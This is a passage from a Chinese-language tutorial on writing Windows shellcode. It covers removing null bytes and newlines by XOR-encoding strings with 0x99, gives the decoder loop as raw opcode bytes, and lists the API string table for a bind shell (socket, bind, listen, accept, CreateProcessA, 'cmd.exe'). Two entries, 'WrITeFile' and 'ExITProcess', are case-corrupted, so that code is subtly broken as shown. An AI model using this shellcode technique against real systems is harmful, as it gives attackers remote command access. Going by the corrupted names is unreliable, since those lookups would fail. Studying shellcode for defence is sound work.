3)shellcode里面使用的字符串问题 刚刚解决了第二个问题,就引出了第三个问题。前面提到过使用函数名表以用来动态获得 函数地址。但是这些函数名字都要以\0x0结尾的!我们的shellcode最基本的一条, 就是里面绝对不能含有\0x0,也不可以有回车换行\n. 解决的办法,就是先对字符串表进行编码(好吓人)处理,处理掉所有的非法字符, shellcode在使用前,由一个子程序来进行解码。 我使用的方法就是对字符串进行 xor 0x99处理。这样编解码就是一个程序了。 下面是编解码程序: 0xb1, 0xc6, /* mov cl, C6 */ 0x8b, 0xc7, /* mov eax, edi */ /*Xorshellcode */ /* */ 0x48, /* dec eax */ 0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */ 0xe2, 0xfa, /* loop Xorshellcode */ 呵呵,一点都不吓人,很简单,是不是? 我们将使用的资源列表就是前面使用的所有函数,加上"cmd.exe"。具体为: /****************************************************************************/ db "KERNEL32" ,0;string to push for LoadLibrary. db "CreatePipe",0 db "GetStartupInfoA",0 db "CreateProcessA",0 db "PeekNamedPipe",0 db "GlobalAlloc",0 db "WrITeFile",0 db "ReadFile",0 db "Sleep",0 db "ExITProcess",0 db "WSOCK32",0 db "socket",0 db "bind",0 db "listen",0 db "accept",0 db "send",0 db "recv",0